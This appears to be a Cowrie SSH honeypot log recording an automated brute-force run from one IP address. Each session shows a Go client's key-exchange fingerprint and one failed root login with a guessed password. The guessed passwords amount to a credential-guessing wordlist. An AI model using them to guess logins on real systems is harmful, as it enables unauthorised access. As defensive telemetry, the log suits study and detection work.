{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:48.804435Z","src_ip":"60.165.124.241","session":"1f086677dff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qweqwe123","message":"login attempt [root/Qweqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:49.525994Z","src_ip":"60.165.124.241","session":"1f086677dff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:50.766668Z","src_ip":"60.165.124.241","session":"1f086677dff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":56408,"dst_ip":"10.17.0.5","dst_port":22,"session":"817497e2f94d","protocol":"ssh","message":"New connection: 60.165.124.241:56408 (10.17.0.5:22) [session: 817497e2f94d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:51.007062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:51.012464Z","src_ip":"60.165.124.241","session":"817497e2f94d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:51.262646Z","src_ip":"60.165.124.241","session":"817497e2f94d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hotwon!2016","message":"login attempt [root/hotwon!2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:52.011606Z","src_ip":"60.165.124.241","session":"817497e2f94d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:53.254692Z","src_ip":"60.165.124.241","session":"817497e2f94d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59338,"dst_ip":"10.17.0.5","dst_port":22,"session":"48fac502675b","protocol":"ssh","message":"New connection: 60.165.124.241:59338 (10.17.0.5:22) [session: 48fac502675b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:53.486045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:53.491216Z","src_ip":"60.165.124.241","session":"48fac502675b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:53.728096Z","src_ip":"60.165.124.241","session":"48fac502675b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Novell@123","message":"login attempt [root/Novell@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:54.444770Z","src_ip":"60.165.124.241","session":"48fac502675b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:55.684883Z","src_ip":"60.165.124.241","session":"48fac502675b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34226,"dst_ip":"10.17.0.5","dst_port":22,"session":"885c60772e90","protocol":"ssh","message":"New connection: 60.165.124.241:34226 (10.17.0.5:22) [session: 885c60772e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:55.939959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:55.945560Z","src_ip":"60.165.124.241","session":"885c60772e90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:56.197786Z","src_ip":"60.165.124.241","session":"885c60772e90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wk@123456","message":"login attempt [root/Wk@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:56.957760Z","src_ip":"60.165.124.241","session":"885c60772e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:58.209260Z","src_ip":"60.165.124.241","session":"885c60772e90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36852,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b56063049e0","protocol":"ssh","message":"New connection: 60.165.124.241:36852 (10.17.0.5:22) [session: 3b56063049e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:58.452845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:58.457762Z","src_ip":"60.165.124.241","session":"3b56063049e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:58.708094Z","src_ip":"60.165.124.241","session":"3b56063049e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4R!","message":"login attempt [root/1q2w3e4R!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:30:59.466955Z","src_ip":"60.165.124.241","session":"3b56063049e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:00.726657Z","src_ip":"60.165.124.241","session":"3b56063049e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40098,"dst_ip":"10.17.0.5","dst_port":22,"session":"c998dcb729ee","protocol":"ssh","message":"New connection: 60.165.124.241:40098 (10.17.0.5:22) [session: c998dcb729ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:00.950419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:00.956272Z","src_ip":"60.165.124.241","session":"c998dcb729ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:01.197322Z","src_ip":"60.165.124.241","session":"c998dcb729ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A111111a","message":"login attempt [root/A111111a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:01.916052Z","src_ip":"60.165.124.241","session":"c998dcb729ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:03.161012Z","src_ip":"60.165.124.241","session":"c998dcb729ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42966,"dst_ip":"10.17.0.5","dst_port":22,"session":"38bf9c178312","protocol":"ssh","message":"New connection: 60.165.124.241:42966 (10.17.0.5:22) [session: 38bf9c178312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:03.395504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:03.400484Z","src_ip":"60.165.124.241","session":"38bf9c178312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:03.639494Z","src_ip":"60.165.124.241","session":"38bf9c178312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jingjing521","message":"login attempt [root/jingjing521] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:04.359108Z","src_ip":"60.165.124.241","session":"38bf9c178312","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:05.599562Z","src_ip":"60.165.124.241","session":"38bf9c178312","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45840,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a4409fc383b","protocol":"ssh","message":"New connection: 60.165.124.241:45840 (10.17.0.5:22) [session: 4a4409fc383b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:05.878473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:05.889785Z","src_ip":"60.165.124.241","session":"4a4409fc383b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:06.151796Z","src_ip":"60.165.124.241","session":"4a4409fc383b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q1w2e3r4t5y6","message":"login attempt [root/Q1w2e3r4t5y6] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:06.938118Z","src_ip":"60.165.124.241","session":"4a4409fc383b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:08.198859Z","src_ip":"60.165.124.241","session":"4a4409fc383b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49086,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e098b1afd27","protocol":"ssh","message":"New connection: 60.165.124.241:49086 (10.17.0.5:22) [session: 8e098b1afd27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:08.420242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:08.425829Z","src_ip":"60.165.124.241","session":"8e098b1afd27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:08.663459Z","src_ip":"60.165.124.241","session":"8e098b1afd27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@2025","message":"login attempt [root/Pass@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:31:09.383171Z","src_ip":"60.165.124.241","session":"8e098b1afd27","protocol":"ssh"}
